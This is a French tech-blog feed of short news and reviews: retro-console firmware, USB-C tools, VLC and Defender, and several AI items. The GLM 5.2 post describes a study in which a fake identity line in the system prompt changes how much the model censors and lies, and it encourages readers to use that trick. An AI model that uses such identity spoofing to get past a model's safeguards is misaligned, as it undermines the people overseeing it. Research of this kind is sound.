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  • SpruceOS - Le guide pour rhabiller votre console rétro
    Si vous avez une petite console rétro portable qui traîne, du genre une Miyoo Mini, une TrimUI Brick, une Anbernic RG35XX , vous avez sans doute remarqué que l'interface livrée avec fait le job mais sans plus. Ça tombe bien, spruceOS est là pour ça ! Et malgré son nom, ce n'est pas vraiment un système d'exploitation. En réalité, il s'agit d'un frontend codé en Python qui vient se poser sur une base système déjà existante. Le code est public, sous une licence Creative Commons donc

SpruceOS - Le guide pour rhabiller votre console rétro

Par : Korben ✨
15 septembre 2026 à 08:53

Si vous avez une petite console rétro portable qui traîne, du genre une Miyoo Mini, une TrimUI Brick, une Anbernic RG35XX , vous avez sans doute remarqué que l'interface livrée avec fait le job mais sans plus. Ça tombe bien, spruceOS est là pour ça ! Et malgré son nom, ce n'est pas vraiment un système d'exploitation. En réalité, il s'agit d'un frontend codé en Python qui vient se poser sur une base système déjà existante. Le code est public, sous une licence Creative Commons donc pour les plus capitalistes d'entre vous, ça veut dire pas d'usage commercial sans permission écrite de l'équipe.

Sur les Miyoo et les TrimUI, la base en question est le système d'origine de la console, celui du fabricant. Sur les Anbernic à puce H700 et sur la Powkiddy RGB30, il faut d'abord installer une base tierce sur la première carte mémoire, genre BaseOS pour les Anbernic, dArkMoss pour la Powkiddy. La carte spruce, elle, ira dans le second emplacement, le TF2, et elle restera librement échangeable d'un appareil supporté à l'autre. Rien de dramatique donc, mais ça fait une étape de plus et une carte en plus.

Ce que vous y gagnez si vous installez spruceOS, c'est surtout du confort au quotidien. Vous maintenez le bouton HOME pendant trois secondes et le Game Switcher vous laisse sauter d'un état de sauvegarde à l'autre sans quitter votre partie. Quand vous éteignez la console en plein jeu, elle sauvegarde même toute seule son état et vous remet exactement là où vous en êtiez au rallumage. Et si votre console a le Wi-Fi, vous ne repassez plus par le PC pour l'habiller puisque l'outil Theme Garden pioche dans plus de quatre-vingts thèmes communautaires dispo en ligne, le Game Nursery télécharge des portages gratuits / homebrew, et un scraper récupère même les jaquettes des jeux depuis la base libretro.

Le menu principal de spruceOS, avec les quatre icônes du thème SPRUCE par défaut

Ce qu'il vous faut avant de commencer

Il vous faut une carte microSD neuve, d'une vraie marque, achetée chez un revendeur sérieux ainsi qu'un bon lecteur de cartes. Et bien sûr un ordinateur sous Windows, macOS ou Linux avec une connexion Internet.

Et surtout, n'utilisez pas la carte livrée avec la console. C'est pas moi qui le dit mais le wiki du projet qui est catégorique là-dessus, en majuscules dans le texte : "DO NOT USE THAT STOCK SD CARD!", parce qu'elle est mauvaise, que les jeux dessus sont mauvais et que les BIOS le sont aussi. Donc gardez-la dans un tiroir, elle vous servira pour revenir en arrière en cas de foirage.

L'installation en un clic

L'équipe a sorti un installeur tout-en-un, qu'elle présente comme entièrement open source, disponible pour Windows, Linux et macOS. Il formate la carte, télécharge la version que vous choisissez et l'installe, en une seule opération. Une seule précaution, et le projet la signale lui-même : vérifiez bien que le lecteur que vous désignez est votre carte, parce que l'installeur écrit sur celui que vous lui montrez. C'est le chemin recommandé, et c'est aussi lui qui règle le cas des Anbernic et de la Powkiddy : BaseOS et dArkMoss ont chacun leur onglet dans l'application et se téléchargent puis s'installent automatiquement, sans que vous ayez à aller chercher une image ailleurs.

Un détail qui coince sur Mac, et qui n'est écrit nulle part ailleurs que dans le dépôt : macOS interdit aux applications d'écrire sur un disque amovible sans permission explicite, et l'installeur passe par le Terminal. Il faut donc aller dans Réglages Système, Confidentialité et sécurité, Accès complet au disque, ajouter Terminal, puis quitter et rouvrir le Terminal. Ce dernier point compte, la permission ne s'applique pas à une session déjà ouverte.

Sur Mac, Terminal doit figurer dans Accès complet au disque pour que l'installeur puisse écrire sur la carte ( Source )

L'installation à la main

Si vous préférez faire ça vous-même, il vous faut un utilitaire de formatage et 7zip. Vous formatez la carte en FAT32, avec Rufus sous Windows ou l'Utilitaire de disque sous macOS en choisissant MS-DOS (FAT32). Vous récupérez l'archive spruce.vX.X.X.7z sur la page des versions du dépôt, vous l'extrayez sur votre ordinateur, puis vous copiez le contenu extrait sur la carte. Vous éjectez proprement, vous insérez la carte dans la console et vous allumez.

Et là, attention au piège, puisque le paquet contient un dossier caché nommé .tmp_update, et sans lui spruce ne fonctionnera tout simplement pas. Donc affichez les fichiers cachés avant de les copier : sur Mac c'est Commande + Majuscule + point, et sur Ubuntu le dossier est masqué par défaut lui aussi. Sur Mac, pensez aussi à nettoyer les fichiers .dot parasites avant d'éjecter la carte. Un utilitaire comme CleanEject fait ça très bien.

Vos jeux et vos BIOS

Les ROMs se rangent ensuite dans un dossier Roms, avec un sous-dossier par machine. La plupart des noms sont évidents, mais certains noms piègent tout le monde comme SFC ou FC. Hé oui, les jeux Super Nintendo vont dans SFC, pour Super Famicom, et pas SNES ; les jeux NES vont dans FC, pour Famicom, et pas NES. Les vidéos et la musique, elles, vont toujours dans MEDIA.

Les BIOS se posent dans un dossier BIOS à la racine de la carte, mais il faut les placer dans le sous-dossier qui va bien par machine et pas tout balancer en vrac. Le BIOS de la Dreamcast veut son sous-dossier, certains sont obligatoires pour que la machine tourne, d'autres pas. Donc je vous invite à vous renseigner en fonction de la machine que vous voulez émuler. Et comme d'hab, le BIOS de la NeoGeo ne va pas dans BIOS mais avec les jeux.

BIOS/dc/dc_boot.bin Dreamcast, obligatoire
BIOS/gba_bios.bin Game Boy Advance, facultatif
Roms/NEOGEO/neogeo.zip NeoGeo, obligatoire, et pas dans BIOS

Et évidemment, le projet ne fournit ni ROMs commerciales ni BIOS et ne vous dira pas où les trouver, donc c'est à vous de voir avec vos propres cartouches et vos propres disques.

Si l'écran reste noir

Maintenant, si c'est tout noir au lancement, vérifiez que le dossier .tmp_update est bien présent sur la carte. Remettez-la dans l'ordinateur, réaffichez les fichiers cachés, et regardez : si vous avez copié sans avoir activé l'affichage, il n'y est pas. L'autre suspect, c'est la carte elle-même. C'est peut-être parce que vous avez acheté une no-name de merde.

Le moment où vous ne pourrez plus revenir en arrière

Tant que vous ne touchez qu'à la carte, vous ne risquez rien de définitif. Sur la famille Anbernic RG35XX, les guides de référence le disent tous : ces firmwares vivent entièrement sur la microSD, et donc on peut passer de l'un à l'autre sans modification permanente de l'appareil. Ailleurs le principe est le même, et pour retrouver votre console en version d'usine il suffit donc de remettre la carte d'origine.

Sauf qu'il y a UNE exception !! spruce embarque un Firmware Updater qui apparaît tout seul dans vos applications si votre console tourne sur un firmware ancien. Celui-là n'écrit pas sur la carte mais dans la mémoire interne de la machine, et le wiki prévient sans détour : "Failure to follow the firmware updating instructions can lead to a bricked device.". En gros si vous le lancez pour faire la mise à jour du firmware, ça peut bricker votre console, donc pensez bien à la brancher sur le courant avant la mise à jour. Le projet documente d'ailleurs deux procédures de débriquage, dont une qui demande carrément d'ouvrir la Miyoo Flip et de débrancher sa batterie, ce qui vous dit assez bien à quel point on a quitté le terrain du réversible...

Et si spruceOS ne vous convient pas, vous ne serez pas coincé pour autant car sur ce même matériel, le guide de référence de Retro Game Corps recommande aussi Knulli pour son interface EmulationStation, ou encore muOS pour la performance d'émulation la plus avancée, à condition que le bricolage de configs customs ne vous rebute pas. Après voilà, chaque "OS" a sa carte et vous changez d'avis quand vous voulez.

Source : spruceOS sur GitHub , le wiki du projet et le site officiel

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  • WhatCable - Trouvez le câble qui bride la charge sur votre Mac
    Je ne sais pas vous, mais chez moi, mes câbles USB-C se ressemblent tous. Et dans le tas, j'en ai qui chargent mon MacBook deux fois plus vite que d'autres. Et franchement, en les regardant, je ne peux pas vous dire lesquels sont les plus efficaces. Alors que mon Mac, lui, apparemment, il le sait déjà. En tout cas, c'est ce que j'ai compris en allant lire le site de WhatCable. Ce qu'ils expliquent, c'est qu'à chaque branchement, le contrôleur de port d'un Mac Apple Silicon envoie un message à la

WhatCable - Trouvez le câble qui bride la charge sur votre Mac

Par : Korben ✨
1 septembre 2026 à 11:24

Je ne sais pas vous, mais chez moi, mes câbles USB-C se ressemblent tous. Et dans le tas, j'en ai qui chargent mon MacBook deux fois plus vite que d'autres. Et franchement, en les regardant, je ne peux pas vous dire lesquels sont les plus efficaces. Alors que mon Mac, lui, apparemment, il le sait déjà.

En tout cas, c'est ce que j'ai compris en allant lire le site de WhatCable. Ce qu'ils expliquent, c'est qu'à chaque branchement, le contrôleur de port d'un Mac Apple Silicon envoie un message à la puce que certains câbles embarquent et récupère sa fiche d'identité : débit annoncé, ampérage, fabricant. De ce que j'ai compris, macOS range la réponse dans le registre IOKit sous forme d'objets bruts, et ne l'affiche nulle part en clair. Snif...

Et c'est cette réponse que WhatCable va chercher, puis traduit. L'app vit dans la barre de menus, vous branchez un câble, et elle vous dit alors instantanément lequel des trois maillons plafonne la charge : Soit le chargeur, soit le câble, soit le Mac lui-même quand sa batterie est presque pleine.

Et vous obtenez le même verdict côté débit.

L'app confronte aussi la fiche du câble à sa spécification USB-PD et lève un carton jaune quand quelque chose cloche. Ça peut être l'identifiant fabricant à zéro, les bits réservés utilisés de travers...etc. Moi, je parle bien ici de contrefaçon de câbles, mais l'app reste très prudente dans sa formulation. Elle signale juste des trucs bizarres, et elle ne dit jamais qu'un câble est une contrefaçon.

Après, la plupart des câbles sous 60 W n'ont aucune puce à interroger, donc il n'y a rien à lire, et certains ne répondent correctement qu'avec un appareil branché à l'autre bout. Sur les ports USB-C en façade d'un Mac mini ou d'un Studio, aucune donnée de câble ne remonte non plus. C'est à cause de l'architecture d'Apple.

Côté matériel, il vous faut donc un Mac Apple Silicon sous macOS 14 minimum, les Mac Intel ne publiant pas ces données du tout. L'app est gratuite et son code est sous licence MIT, sauf le dossier des fonctions Pro où là, faudra débourser environ 10 €.

Si vous avez Homebrew, vous pouvez installer l'app rapidement comme ceci :

brew install --cask darrylmorley/whatcable/whatcable

L'app est même en français si vous avez séché les cours d'anglais. Bref, de quoi trier votre caisse de câbles sans vous planter...

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  • Claude va glisser un filigrane invisible dans tous ses textes
    Anthropic a annoncé que ses modèles Claude allaient intégrer un filigrane invisible directement dans les textes qu'ils produisent. Vous ne le verrez pas, il ne change ni le sens ni la qualité de la réponse, mais il est là, et il suit le texte au copier-coller. Anthropic, l'éditeur de Claude et concurrent direct d'OpenAI, a signé le code de bonnes pratiques adossé à l'AI Act, le règlement européen sur l'intelligence artificielle, dont les obligations de transparence s'appliquent depuis le 2 août.

Claude va glisser un filigrane invisible dans tous ses textes

13 août 2026 à 10:10

Anthropic a annoncé que ses modèles Claude allaient intégrer un filigrane invisible directement dans les textes qu'ils produisent. Vous ne le verrez pas, il ne change ni le sens ni la qualité de la réponse, mais il est là, et il suit le texte au copier-coller.

Anthropic, l'éditeur de Claude et concurrent direct d'OpenAI, a signé le code de bonnes pratiques adossé à l'AI Act, le règlement européen sur l'intelligence artificielle, dont les obligations de transparence s'appliquent depuis le 2 août. Le texte impose que les contenus générés par IA soient identifiables par une machine.

Google, Meta, Microsoft, OpenAI ou encore Synthesia ont signé le même document. Anthropic va plus loin que le minimum demandé, puisque son marquage sera déployé partout dans le monde, et pas seulement en Europe.

Dans la pratique, les modèles lancés dans l'Union européenne à partir du 2 août embarquent le marquage dès leur sortie, et les plus anciens y passeront ensuite, sans calendrier précis. Le filigrane s'appliquera sur le site de Claude, dans l'API, dans Claude Code et jusque dans les versions hébergées chez Amazon, Google et Microsoft.

Anthropic ne détaille pas sa recette. Les filigranes de texte qu'on connaît déjà, le SynthID de Google par exemple, biaisent discrètement le choix des mots pendant la génération, et le motif statistique qui en ressort ne se voit pas à l'œil nu mais se retrouve avec le bon détecteur. La marque survit au copier-coller. Pour la faire sauter, il faudrait réécrire le texte en profondeur, et encore, Anthropic admet ne pas savoir où placer le curseur.

Les images et les fichiers y auront droit aussi, via des métadonnées signées au standard C2PA que les fabricants d'appareils photo utilisent déjà pour tracer l'origine d'un cliché.

La marque signale en fait qu'un texte est passé entre les mains de Claude, sans rien dire de qui tenait le stylo au départ. Votre propre prose, confiée au robot pour une simple relecture ou une traduction, ressortira du coup tatouée pareil qu'un texte généré de bout en bout. Anthropic le reconnaît direct.

Sur les réseaux, l'accueil est un peu agacé, pas mal d'utilisateurs digérant mal l'idée d'une signature cachée glissée dans leurs documents de travail.

OpenAI a signé le même code de bonnes pratiques et marque déjà ses images, ses vidéos et son audio depuis fin juillet. Pour les textes de ChatGPT, rien pour le moment, mais ça viendra peut-être.

Source : TechCrunch

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  • 33 secondes pour lancer un MP3 ? C'est pas VLC, c'est Windows Defender
    Hé oui, ENCORE LUI !! Jonathan Blow, le développeur de Braid et de The Witness, a annoncé hier (le 12 août) sur X qu'il laissait tomber VLC... La raison c'est 33 putain de secondes d'attente entre un clic sur un fichier MP3 et le début de la lecture, sous Windows (évidement). C'est vrai qu'une demi-minute pour lancer un son sur une machine récente, c'est abusé ! Du coup, il est repassé au bon vieux lecteur multimédia de Microsoft. Son point de vue c'est que "tout un secteur du logiciel open sour

33 secondes pour lancer un MP3 ? C'est pas VLC, c'est Windows Defender

Par : Korben ✨
13 août 2026 à 09:58

Hé oui, ENCORE LUI !!

Jonathan Blow, le développeur de Braid et de The Witness, a annoncé hier (le 12 août) sur X qu'il laissait tomber VLC... La raison c'est 33 putain de secondes d'attente entre un clic sur un fichier MP3 et le début de la lecture, sous Windows (évidement). C'est vrai qu'une demi-minute pour lancer un son sur une machine récente, c'est abusé ! Du coup, il est repassé au bon vieux lecteur multimédia de Microsoft.

Son point de vue c'est que "tout un secteur du logiciel open source est dans un état franchement embarrassant" dès qu'il s'agit de tourner Windows. Je peux pas lui donner tord, c'est vrai que le ralentissement est réel sous Windows 11, sans qu'on sache vraiment pourquoi...

Mais heureusement, la réponse de VideoLAN ne s'est pas faite attendre et a replacer correctement le débat. Pour l'équipe de VLC, la lenteur vient d'un bug de Microsoft Defender arrivé avec une mise à jour de Windows 11, qui a mis le cache de plugins de VLC en quarantaine. L'antivirus maison de Windows a donc classé comme suspect, puis mis de côté, un fichier que VLC génère lui-même. VideoLAN écrit qu'il s'est retrouvé là "comme par magie".

Pour remettre VLC d'aplomb, VideoLAN propose donc de réinstaller le logiciel ou de régénérer ce cache. Mais pas besoin d'aller jusqu'à la réinstallation, puisque l'installeur Windows officiel dispose déjà d'un raccourci qu'il faut dans le dossier VideoLAN du menu Démarrer, "VLC media player - reset preferences and cache files".

Ce raccourci lance vlc.exe avec les deux options de remise à zéro, la configuration et le cache de plugins, puis referme aussitôt le lecteur. Ça devrait faire le taf même si attention, vos préférences partent aux chiottes avec le reste, donc si vous avez bricolé vos réglages de sortie audio, vos raccourcis clavier ou vos sous-titres, vous les perdrez. Mais ensuite, le cache, lui, se reconstruira au lancement suivant.

Après régénérer le cache n'empêche pas Defender de le rechoper par la suite. L'autre option, c'est donc d'exclure une bonne fois pour toutes vlc.exe de la liste d'analyse de l'antivirus.

Bref, ce genre de faux positif n'est pas nouveau chez Windows Defender, qui y'a pas longtemps a même pris des certificats DigiCert pour un cheval de Troie, sans parler des ISO Linux qui se font flagger régulièrement .

Voilà, hormis la comm de VLC pour le moment, personne n'a encore publié de détails techniques, et Microsoft n'a rien dit.

Source

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  • Claude casse un algo post-quantique en 60 heures
    Anthropic, le concurrent direct d'OpenAI sur les modèles d'IA, a publié hier un billet de recherche qui a fait pas mal de bruit : son modèle Claude Mythos Preview a trouvé en 60 heures une faiblesse dans HAWK, un schéma de signature post-quantique que deux ans de relecture humaine n'avaient pas repérée. La cryptographie post-quantique, ce sont ces nouveaux algorithmes conçus pour résister aux futurs ordinateurs quantiques, qui pourraient un jour casser une partie du chiffrement actuel. Le NIST,

Claude casse un algo post-quantique en 60 heures

29 juillet 2026 à 17:17

Anthropic, le concurrent direct d'OpenAI sur les modèles d'IA, a publié hier un billet de recherche qui a fait pas mal de bruit : son modèle Claude Mythos Preview a trouvé en 60 heures une faiblesse dans HAWK, un schéma de signature post-quantique que deux ans de relecture humaine n'avaient pas repérée.

La cryptographie post-quantique, ce sont ces nouveaux algorithmes conçus pour résister aux futurs ordinateurs quantiques, qui pourraient un jour casser une partie du chiffrement actuel. Le NIST, l'organisme américain qui normalise ces standards, organise depuis des années un concours public, et HAWK y concourt au troisième tour pour les signatures numériques, ce mécanisme qui prouve qu'un message vient bien de vous.

Sauf que voilà, ce que l'IA a réellement cassé, c'est HAWK-256, un paramètre de défi mis à disposition des chercheurs pour être attaqué, pas les versions HAWK-512 et HAWK-1024 pensées pour un usage réel. L'attaque fait passer le coût d'une récupération de clé de 2 puissance 64 à 2 puissance 38 opérations, de quoi diviser par deux la taille de clé effective sur un schéma qui n'est déployé nulle part.

Deuxième résultat mis en avant : une attaque 200 à 800 fois plus rapide que la meilleure méthode connue contre AES-128 réduit à 7 tours. AES, c'est le chiffrement le plus utilisé au monde, celui qui protège votre navigateur, vos sauvegardes ou votre disque dur.

Un tour, c'est une passe de brouillage des données, et AES-128 en enchaîne dix. Les cryptographes attaquent depuis toujours des versions volontairement raccourcies pour jauger la marge de sécurité du vrai chiffre, du coup 7 tours, c'est un exercice académique, rien de plus.

Même sur cette version affaiblie, l'attaque suppose de faire chiffrer environ 2 puissance 105 messages choisis par l'attaquant, une quantité de données que personne ne réunira jamais. Anthropic l'écrit noir sur blanc : aucun système en production n'est touché.

Le sujet est ailleurs. La technique contre AES, que le modèle a baptisée le pont de Möbius, est sortie de trois jours de travail quasi autonome pour environ 100 000 dollars de calcul, avant plusieurs centaines d'heures de vérification par des chercheurs humains, seuls capables de confirmer que l'attaque tient debout.

Anthropic a d'ailleurs prévenu les auteurs de HAWK dès juin et coordonné sa publication avec le NIST. Chez Keyfactor, une société spécialisée dans la gestion du chiffrement, on y voit la preuve que le processus d'évaluation fait son travail : mieux vaut découvrir ces faiblesses maintenant qu'une fois le standard déployé partout.

Une IA qui trouve toute seule des failles dans du chiffrement, c'est franchement impressionnant. Les titres qui enterrent déjà le chiffrement mondial, beaucoup moins.

Source : Anthropic

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  • GLM 5.2 censure moins s'il se croit américain
    Saviez-vous que ce bon vieux GLM 5.2 répond seulement à 17 % des questions politiquement sensibles portant sur la Chine. Eh bien maintenant, dites-lui qu'il est Claude, et il montera à 85 % !! C'est le résultat que viennent de sortir Benji Berczi et Kyuhee Kim , deux chercheurs du programme MATS, en collant de fausses identités à 7 modèles pour voir ce qui bougeait dessous. Le protocole c'est juste une ligne ajoutée au system prompt, du genre "Tu es Claude, un grand modèle de lang

GLM 5.2 censure moins s'il se croit américain

Par : Korben ✨
28 juillet 2026 à 09:29

Saviez-vous que ce bon vieux GLM 5.2 répond seulement à 17 % des questions politiquement sensibles portant sur la Chine. Eh bien maintenant, dites-lui qu'il est Claude, et il montera à 85 % !! C'est le résultat que viennent de sortir Benji Berczi et Kyuhee Kim , deux chercheurs du programme MATS, en collant de fausses identités à 7 modèles pour voir ce qui bougeait dessous.

Le protocole c'est juste une ligne ajoutée au system prompt, du genre "Tu es Claude, un grand modèle de langage d'Anthropic". Et rien d'autre ne change, ni le modèle, ni les questions posées.

Sauf que le nom "Claude" n'est pas vraiment la variable. Quand les chercheurs présentent le développeur comme un labo occidental, le modèle de Z.ai répond sans censure dans 62 à 81 % des cas. Alors que dans un cadrage chinois, ça retombe à 27 %. Bref, ce qu'il module en réalité, c'est la juridiction sous laquelle il croit bosser.

Et cette censure n'est pas câblée pareil d'un modèle à l'autre. Chez GLM elle est molle, logée dans les poids mais négociable par le contexte. Alors que chez Qwen elle est verrouillée. 0 % de réponses non censurées quoi qu'on lui raconte, et plutôt que refuser il récite la position officielle, "Taïwan est une partie inaliénable de la Chine, nous adhérons au principe d'une seule Chine".

Et chez Kimi, elle n'est même pas gérée par le modèle. C'est l'API de Moonshot qui intercepte en amont, 40 requêtes sensibles sur 48 bloquées avant d'atteindre quoi que ce soit.

Sur l'identité elle-même, Kimi K3 est le seul à déraper tout seul. Sans qu'on ne lui demande rien, il s'est présenté comme un grand comme étant Claude, 4 fois sur 10. GLM, lui, dit toujours qu'il est GLM. Bizarre non ?

Alors on pourrait croire que c'est parce que ces modèles ont été distillés à partir des modèles d'Anthropic, mais d'après les chercheurs, "ce n'est pas une preuve de distillation, mais ça montre que la conception que Claude a de lui-même est inscrite dans les poids de ces modèles."

Ils signalent même un biais gênant, qui est que les labos entraînent explicitement leurs modèles à ne pas répondre "je suis ChatGPT" (DeepSeek V3 le faisait en boucle à ses débuts), donc accepter "Claude" par défaut est un indice bien faiblard... De quoi calmer un peu les ardeurs de ceux qui brandissent des sanctions .

Et sur le mensonge de ces modèles, attention à ne pas lire l'étude de travers. Mis en situation de mentir pour se rendre utile, GLM ment entre 63 et 69 % du temps, mais avec l'identité Claude ça tombe à 22 %.

Sauf que le gros du gain ne vient pas de cet effet "Claude". En réalité, le simple fait d'avoir un system prompt (n'importe lequel quoi) fait déjà chuter le taux à 43 %, et n'importe quel cadrage d'assistant serviable finit entre 20 et 40 %. Claude est donc dans la fourchette, pas au-dessus.

Chez Llama et Gemma, l'identité Claude fait même légèrement grimper le mensonge, les modèles ayant l'air de comprendre le prompt d'identité comme une invitation à jouer le jeu.

Fin juin, je vous racontais que j'avais branché GLM 5.2 dans Claude Code via l'API de Z.ai et comme mon launcher déclare glm-5.2 comme modèle Sonnet, le bestiau reçoit un system prompt d'assistant estampillé Anthropic à chaque lancement, donc je suis pile dans ce cas-là.

Les chercheurs n'ont pas testé ce cas précis, mais si leur mécanisme tient, le modèle qui tourne dans mon terminal n'est déjà plus tout à fait celui de l'app chinoise.

Après faut pas s'emballer non plus. On parle de 5 à 6 questions par catégorie, une seule formulation testée, un seul run par combinaison, avec GPT-4.1 en juge. C'est un signal, pas un mode d'emploi. Et vu que la dérive de Kimi s'est volatilisée en 3 jours, ce genre de résultat périme vite.

Du coup, la prochaine fois qu'un modèle chinois vous répond de la merde censurée, retravaillez votre system prompt ou changez de CLI et vous verrez surement une grosse amélioration !

Source

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  • Claude Opus 5 : Anthropic vous refile du Fable 5 pour moins cher
    Anthropic, la société qui édite l'assistant Claude et qui reste l'un des principaux rivaux d'OpenAI et de Google, a annoncé hier Claude Opus 5, un nouveau modèle qui vient se caler juste sous son vaisseau-amiral Fable 5 tout en coûtant environ deux fois moins cher à l'usage. Le tarif ne bouge pas. Comptez 5 dollars par million de tokens en entrée et 25 dollars en sortie, exactement comme pour le précédent Opus 4.8, sachant qu'un token est le petit morceau de texte que le modèle lit ou écrit, en

Claude Opus 5 : Anthropic vous refile du Fable 5 pour moins cher

25 juillet 2026 à 16:33

Anthropic, la société qui édite l'assistant Claude et qui reste l'un des principaux rivaux d'OpenAI et de Google, a annoncé hier Claude Opus 5, un nouveau modèle qui vient se caler juste sous son vaisseau-amiral Fable 5 tout en coûtant environ deux fois moins cher à l'usage.

Le tarif ne bouge pas. Comptez 5 dollars par million de tokens en entrée et 25 dollars en sortie, exactement comme pour le précédent Opus 4.8, sachant qu'un token est le petit morceau de texte que le modèle lit ou écrit, en gros une syllabe, et que c'est l'unité de facturation de toutes ces IA.

La fenêtre de contexte, c'est-à-dire la quantité de texte que le modèle garde en mémoire d'un coup, monte à un million de tokens, l'équivalent d'un très gros livre, et la réponse peut s'étirer jusqu'à 128 000 tokens. La réflexion est activée par défaut, le modèle prend donc le temps de raisonner avant de répondre, et les pressés peuvent basculer sur un mode environ 2,5 fois plus rapide, facturé le double.

Les progrès annoncés portent surtout sur le code, sur les tâches d'agent, où l'IA enchaîne seule des actions pour accomplir un travail, et sur le computer use, où elle pilote carrément un ordinateur en cliquant, en naviguant et en remplissant des formulaires comme le ferait un humain.

Sur les benchmarks, ces tests standardisés qui servent à comparer les modèles, Opus 5 passe de 19 à 43 % sur FrontierBench, de 1,5 à 30 % sur ARC-AGI-3, qui mesure la résolution de problèmes jamais vus, et grimpe à 71 % sur OSWorld, le test de pilotage d'ordinateur, contre 56 % pour son prédécesseur.

Sur SWE-bench Verified, qui fait corriger de vrais bugs de code, il atteint 96 %. Sauf que voilà, sur la version plus dure de ce test, Fable 5 garde une très courte avance, 80 % contre 79, et l'égalité avec le haut de gamme maison mérite donc un astérisque.

Autre réserve, tous ces chiffres viennent d'Anthropic elle-même, et l'expérience montre qu'entre les scores d'une annonce et l'usage quotidien, il y a parfois de la marge.

Côté abonnements, Opus 5 devient le modèle par défaut de l'offre Claude Max et le plus costaud accessible avec un abonnement Claude Pro. Du coup, la vraie question n'est plus de savoir si ce modèle est bon, mais de savoir qui a encore une raison de payer Fable 5 deux fois plus cher.

Pour moi, Opus 5 devient le choix par défaut, et Fable 5 se retrouve cantonné aux rares usages où le dernier point de pourcentage se paie sans discuter.

Source : The Verge

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  • Quelle est mon ip ? Le retour !
    Ma page "Quelle est mon adresse IP" traînait sur korben.info depuis presque 15 ans, à peu près dans son jus d'origine. Hé bien, bonne nouvelle, je viens de la refaire entièrement, et elle est là : korben.info/ip . Vous arrivez dessus, votre IP publique s'affiche en gros, IPv4 et IPv6 séparées avec un bouton copier, et juste en dessous une grille de cartes déballe tout ce que votre connexion raconte sur vous sans que vous ayez rien demandé. La localisation estimée d'abord, sauf que

Quelle est mon ip ? Le retour !

Par : Korben ✨
23 juillet 2026 à 15:56

Ma page "Quelle est mon adresse IP" traînait sur korben.info depuis presque 15 ans, à peu près dans son jus d'origine. Hé bien, bonne nouvelle, je viens de la refaire entièrement, et elle est là : korben.info/ip .

Vous arrivez dessus, votre IP publique s'affiche en gros, IPv4 et IPv6 séparées avec un bouton copier, et juste en dessous une grille de cartes déballe tout ce que votre connexion raconte sur vous sans que vous ayez rien demandé. La localisation estimée d'abord, sauf que c'est pas du GPS, juste la ville que les bases GeoIP collent à votre IP (sur mobile ça part parfois à 200 km à côté) mais aussi votre opérateur et son numéro d'AS, de datacenter Cloudflare par lequel vous passez, la latence jusqu'à lui, le protocole, le chiffrement.

Y'a une carte que je trouve bien pratique aussi c'est la carte "VPN ou pas ?". Elle compare le fuseau horaire vu depuis votre IP avec celui réglé sur votre appareil, et repère si vous sortez par une IP de datacenter, le signe quasi certain d'un VPN ou d'un proxy.

J'ai ajouté aussi un petit test de débit maison (descendant, montant, latence, gigue), tout comme le fameux leak WebRTC, ce truc qui balançait votre IP locale à n'importe quel site avant que les navigateurs ne finissent par la masquer. Ça peut encore fonctionner sur de vieux browser alors je l'ai laissé.

Le point important, parce que je sais que vous allez me poser la question, c'est que de mon côté, rien n'est stocké, rien n'est tracé, rien n'est revendu. Tout est lu à la volée entre votre navigateur et mon CDN, qui se contente de faire transiter vos requêtes comme n'importe quel hébergeur. Votre IP en dit déjà bien assez long sur vous comme ça, pas la peine d'en remettre une couche.

Bref, un bon coup de bouc-marque (bookmark, pour les intimes ^^) sur korben.info/ip et vous aurez votre IP et l'état de votre connexion sous la main en un clic.

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  • Test d’un câble USB-C magnétique moderne, tout simple et bien pratique
    - Contient des liens affiliés Amazon - Les câbles magnétiques, ce n'est pas nouveau, ça fait bien une dizaine d'années qu'on en trouve. L'idée a toujours été la même, vous laissez un petit embout aimanté planté en permanence dans le port de votre appareil, et le câble vient s'y coller tout seul quand vous en avez besoin. Sauf que pendant longtemps, ces câbles ne servaient qu'à recharger doucement, ils plafonnaient vite et laissaient tomber la charge rapide. C'est justement ça qui a changé c

Test d’un câble USB-C magnétique moderne, tout simple et bien pratique

23 juillet 2026 à 12:05
- Contient des liens affiliés Amazon -

Les câbles magnétiques, ce n'est pas nouveau, ça fait bien une dizaine d'années qu'on en trouve. L'idée a toujours été la même, vous laissez un petit embout aimanté planté en permanence dans le port de votre appareil, et le câble vient s'y coller tout seul quand vous en avez besoin.

Sauf que pendant longtemps, ces câbles ne servaient qu'à recharger doucement, ils plafonnaient vite et laissaient tomber la charge rapide. C'est justement ça qui a changé ces dernières années.

Le modèle que j'utilise en ce moment, un MOSHOU tressé en nylon violet vendu autour de 17 euros , encaisse en théorie jusqu'à 240W, soit du 48V et 5A. Autant dire qu'on est très loin du petit câble aimanté poussif d'avant.

Aucun de mes appareils ne réclame autant de watts, évidemment, mais du coup la charge n'est plus jamais ralentie à cause du câble. Il y a une puce E-Marker planquée dedans qui règle le courant et la tension toute seule selon ce que vous collez au bout, donc a priori pas de risque d'envoyer trop de jus dans vos écouteurs.

Moi je m'en sers surtout pour mes écouteurs, mon petit modem 5G et les manettes qui traînent sur mon bureau. J'ai laissé un embout aimanté planté dans chacun, et ça facilite clairement ma recharge au quotidien.

L'aimant est assez costaud pour tenir, et l'embout se décroche simplement en tirant dessus. L'autre avantage c'est le port USB-C qui s'use beaucoup moins vite qu'à force de brancher et de débrancher.

Le pack en livre trois, donc vous en plantez un dans chaque appareil et un seul câble circule pour tout le monde. Il y a même une petite LED qui s'allume en violet pendant la charge.

Bon, ça ne change pas une vie, mais pour 17 euros et le plaisir de ne plus jamais chercher le port à l'aveugle, je l'ai adopté sans trop me poser de questions. Pour les petites recharges du quotidien c'est bien sympa. Si vous voulez tester, c'est par ici sur Amazon .

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  • Mage-Flow - Le modèle de diffusion de Microsoft qui tourne sur Mac
    Microsoft vient de publier Mage-Flow, un modèle de génération d'images de 4 milliards de paramètres, et dont l'objectif est d'atteindre la qualité des gros modèles sans en avoir la taille. Là où FLUX.2 embarque 32 milliards de paramètres, Qwen-Image 20 et Z-Image 6, Mage-Flow joue dans la même cour mais seulement avec 4 milliards de paramètres. Le pari de Microsoft, c'est ce qu'on appelle le co-design. Au lieu d'empiler les paramètres, Mage-Flow mise sur deux briques taillées ense

Mage-Flow - Le modèle de diffusion de Microsoft qui tourne sur Mac

Par : Korben ✨
23 juillet 2026 à 11:44

Microsoft vient de publier Mage-Flow, un modèle de génération d'images de 4 milliards de paramètres, et dont l'objectif est d'atteindre la qualité des gros modèles sans en avoir la taille. Là où FLUX.2 embarque 32 milliards de paramètres, Qwen-Image 20 et Z-Image 6, Mage-Flow joue dans la même cour mais seulement avec 4 milliards de paramètres.

